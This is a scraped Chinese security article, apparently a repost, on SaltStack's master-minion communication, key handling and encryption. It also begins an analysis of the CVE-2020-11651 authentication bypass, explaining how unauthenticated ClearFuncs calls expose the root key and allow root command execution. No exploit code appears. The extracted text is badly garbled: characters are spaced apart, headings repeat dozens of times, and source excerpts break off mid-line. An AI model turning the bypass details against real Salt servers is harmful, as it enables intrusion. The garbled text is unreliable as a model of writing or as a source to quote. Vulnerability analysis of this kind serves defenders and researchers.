搜索

[6816] 2020-07-11_SaltStack的通讯及安全机制和CVE-2020-11651（身份验证绕过漏洞）分析(一)

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-17
2020-07-11_SaltStack的通讯及安全机制和CVE-2020-11651（身份验证绕过漏洞）分析(一) S a l t S t a c k   的 通 讯 及 安 全 机 制 和 C V E - 2 0 2 0 - 1 1 6 5 1 （ 身 份 验 证 绕 过 漏 洞 ） 分 析 ( 一 ) E 安 全   2 0 2 0 - 0 7 - 1 1 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 4 c k 1 k 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 1 . S a l t s t a c k 是 什 么 是 什 么 S a l t   是 ： 一 个 配 置 管 理 系 统 ， 能 够 维 护 预 定 义 状 态 的 远 程 节 点 ( 比 如 ， 确 保 指 定 的 报 被 安 装 ， 指 定 的 服 务 在 运 行 ) 一 个 分 布 式 远 程 执 行 系 统 ， 用 来 在 远 程 节 点 （ 可 以 是 单 个 节 点 ， 也 可 以 是 任 意 规 则 挑 选 出 来 的 节 点 ） 上 执 行 命 令 和 查 询 数 据 。 开 发 其 的 目 的 是 为 远 程 执 行 提 供 最 好 的 解 决 方 案 ， 并 使 远 程 执 行 变 得 更 好 ， 更 快 ， 更 简 单 。 2 . 使 用 简 单 使 用 简 单 既 要 考 虑 大 规 模 部 署 ， 又 要 考 虑 小 规 模 系 统 ， 提 供 适 应 多 种 场 合 的 应 用 让 人 沮 丧 ， 但 S a l t 非 常 容 易 设 置 和 维 护 ， 而 不 用 考 虑 项 目 的 大 小 。 从 数 量 可 观 的 本 地 网 络 系 统 ， 到 跨 数 据 中 心 的 互 联 网 部 署 ， S a l t 设 计 为 在 任 意 数 量 的 s e r v e r 下 都 可 工 作 。 s a l t 的 拓 扑 使 用 简 单 的 s e r v e r / c l i e n t 模 式 ， 需 求 的 功 能 内 建 在 一 组 d a e m o n 中 。 s a l t 在 几 乎 不 改 动 配 置 的 情 况 下 就 可 以 工 作 ， 也 可 以 调 整 从 而 满 足 特 定 的 需 求 3 . 并 行 执 行 并 行 执 行 S a l t 的 核 心 功 能 使 命 令 发 送 到 远 程 系 统 是 并 行 的 而 不 是 串 行 的 使 用 安 全 加 密 的 协 议 使 用 最 小 最 快 的 网 络 载 荷 提 供 简 单 的 编 程 接 口 S a l t 同 样 引 入 了 更 加 细 致 化 的 领 域 控 制 系 统 来 远 程 执 行 ， 使 得 系 统 成 为 目 标 不 止 可 以 通 过 主 机 名 ， 还 可 以 通 过 系 统 属 性 。 N o . 1 N o . 1 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t S t a c k 的 通 讯 架 构 模 型 的 通 讯 架 构 模 型 S a l t   采 用 服 务 端 - 代 理 的 通 讯 模 型 （ 也 可 以 通 过   S S H   方 式 实 现 非 代 理 模 式 ） 。 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
服 务 端 称 为   S a l t   m a s t e r ， 代 理 端 称 为   S a l t   m i n i o n 。 S a l t   m a s t e r   负 责 发 送 命 令 予   S a l t   m i n i o n ， 随 后 收 集 并 展 示 这 些 命 令 的 执 行 结 果 。 一 台   S a l t   m a s t e r   可 以 管 理 几 千 台 的 系 统 。 N o . 2 N o . 2 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t S t a c k 的 通 讯 模 型 的 通 讯 模 型 S a l t   m a s t e r   与   m i n i o n   通 讯 采 用 的 是 ” 订 阅 - 发 布 “ 的 模 式 。 通 讯 的 连 接 由   S a l t   m i n i o n   发 起 ， 这 意 味 着   m i n i o n   无 须 开 启 进 向 的 端 口 （ 注 意 ： 此 方 式 极 大 地 简 便 了 网 络 规 则 的 设 定 ） 。 而   S a l t   m a s t e r   的   4 5 0 5   和   4 5 0 6   端 口 （ 默 认 ） 必 须 开 启 ， 以 接 收 外 部 的 连 接 。 其 中 端 口 功 能 如 下 表 所 示 。 通 讯 模 型 如 下 图 所 示 。
N o . 3 N o . 3   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机   S a l t   m i n i o n 验 证 机 验 证 机 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 制 ( 1 ) . 当   m i n i o n   启 动 时 ， 其 将 搜 索 网 络 中 的   m a s t e r 。 当 找 到 时 ，   m i n i o n   将 发 送 公 钥 给   S a l t   m a s t e r ， 从 而 实 现 初 次 握 手 。 其 过 程 如 下 图 所 示 。 ( 2 ) . 当 初 次 握 手 后 ， S a l t   m i n i o n   的 公 钥 将 被 保 存 在 服 务 端 ， 此 时   m a s t e r   需 要 使 用 过   s a l t - k e y   命 令 接 收 公 钥 （ 也 可 以 采 用 自 动 机 制 ） 。 注 意 ： 在   S a l t   m i n i o n   的 公 钥 被 接 收 前 ， S a l t   m a s t e r   是 不 会 将 密 钥 发 放 给   m i n i o n   的 ， 也 就 是 说   m i n i o n   在 此 之 前 不 会 执 行 任 何 命 令 。 ( 3 ) . 当   S a l t   m i n i o n   的 公 钥 被 接 收 后 ， S a l t   m a s t e r   就 会 把 公 钥 连 同 用 于 加 解 密   m a s t e r   信 息 的 可 变 动   A E S   密 钥 发 送 至   S a l t
m i n i o n 。 其 中 ， 返 回 给   S a l t   m i n i o n   的   A E S   密 钥 由   m i n i o n   的 公 钥 加 密 ， 可 由   S a l t   m i n i o n   解 密 。 N o . 4 N o . 4 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 S a l t S t a c k 的 安 全 通 讯 机 制 的 安 全 通 讯 机 制 当 完 成 验 证 后 ， S a l t   m a s t e r   与   S a l t   m i n i o n   基 于   A E S   密 钥 进 行 加 解 密 操 作 。 A E S   加 密 密 钥 基 于 最 新 的   T L S   版 本 ， 使 用 显 式 初 始 化 向 量 和   C B C   块 链 接 算 法 生 成 。 N o . 5 N o . 5 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t S t a c k 的 可 变 动 密 钥 的 可 变 动 密 钥 S a l t   的 可 变 动   A E S   密 钥 用 于 加 密 由   S a l t   m a s t e r   发 送 至   S a l t   m i n i o n   的 作 业 ， 也 用 于 加 密 至   S a l t   m a s t e r   文 件 服 务 的 连 接 。 每 次   S a l t   m a s t e r   重 启 或 重 启 或   S a l t   m i n i o n   解 除 验 证 解 除 验 证 后 ， 该 可 变 动 的   A E S   密 钥 均 会 自 动 更 新 自 动 更 新 。 N o . 6 N o . 6 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t S t a c k 的 加 密 通 讯 信 道 的 加 密 通 讯 信 道 S a l t   m a s t e r   与   m i n i o n   间 的 公 开 通 讯 均 以 同 一 个 可 变 动   A E S   密 钥 加 密 。 但 对 于   S a l t   m a s t e r   与   m i n i o n   的 直 接 通 讯 （ 点 对 点 ） ， 每 个 会 话 都 采 用 一 个 唯 一 的 唯 一 的   A E S   密 钥 密 钥 。 例 如 ： 统 一 公 布 的 作 业 采 用 可 变 动   A E S   密 钥 进 行 加 密 ； 而 以   S a l t   p i l l a r   格 式 发 送   m i n i o n   专 用 数 据 时 ， m a s t e r   与 每 个   m i n i o n 都 会 有 独 立 的 会 话 ， 且 每 个 会 话 采 用 唯 一 的   A E S   密 钥 进 行 加 密 。 N o . 7 N o . 7 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 S a l t S t a c k 用 户 接 入 控 制 用 户 接 入 控 制 在 命 令 发 送 至   m i n i o n   之 前 ， S a l t   将 会 检 查 发 布 者 访 问 控 制 列 表 （ A C L ） ， 确 保 接 收 到 命 令 的   m i n i o n   具 有 正 确 的 权 限 。 如 果 权 限 符 合 ， 则 命 令 将 被 发 送 至 对 应   m i n i o n ， 否 则 将 返 回 报 错 。 S a l t   还 可 以 返 回 将 响 应 命 令 的   m i n i o n   列 表 ， 以 此 确 定 返 回 是 否 结 束 。 N o . 8 N o . 8 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 下 载 安 装 官 网 ： h t t p s : / / g i t h u b . c o m / s a l t s t a c k / s a l t 下 载 s a l t - 3 0 0 0 . t a r . g z 安 装 h t t p s : / / p y p i . o r g / s i m p l e / s a l t / t a r   - x v z f   s a l t - 3 0 0 0 . t a r . g z
p y t h o n 3   s e t u p . p y   i n s t a l l 安 装 启 动   s u d o   s a l t - m a s t e r 启 动 完 成 监 听 两 个 端 口 4 5 0 5 和 4 5 0 6 N o . 9 N o . 9 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 漏 洞 细 节 身 份 验 证 绕 过 漏 洞 （ C V E - 2 0 2 0 - 1 1 6 5 1 ） 漏 洞 分 析 ： C l e a r F u n c s 类 处 理 未 经 身 份 验 证 的 请 求 ， 并 且 调 用 _ s e n d _ p u b （ ） 方 法 ， 该 方 法 可 用 于 在 m a s t e r 上 对 消 息 进 行 排 队 ( z e r o m q ) 。 此 类 消 息 以 r o o t 身 份 运 行 任 意 命 令 。 s a l t / m a s t e r / m a s t e r . p y
第 2 1 9 6 行   d e f   _ s e n d _ p u b ( s e l f ,   l o a d ) :       ' ' '       T a k e   a   l o a d   a n d   s e n d   i t   a c r o s s   t h e   n e t w o r k   t o   c o n n e c t e d   m i n i o n s       ' ' '       f o r   t r a n s p o r t ,   o p t s   i n   i t e r _ t r a n s p o r t _ o p t s ( s e l f . o p t s ) :               c h a n   =   s a l t . t r a n s p o r t . s e r v C l e a r F u n c s 类 调 用 _ p r e p _ a u t h _ i n f o （ ） 方 法 ， 该 方 法 返 回 用 于 验 证 m a s t e r 上 本 地 r o o t 用 户 命 令 的 “ r o o t   k e y ” 。 然 后 ， 可 以 使 用 此 “ r o o t   k e y ” 在 m a s t e r 上 远 程 调 用 管 理 命 令 。 s a l t / m a s t e r / m a s t e r . p y 第 2 1 5 3 行 d e f   _ p r e p _ a u t h _ i n f o ( s e l f ,   c l e a r _ l o a d ) :       s e n s i 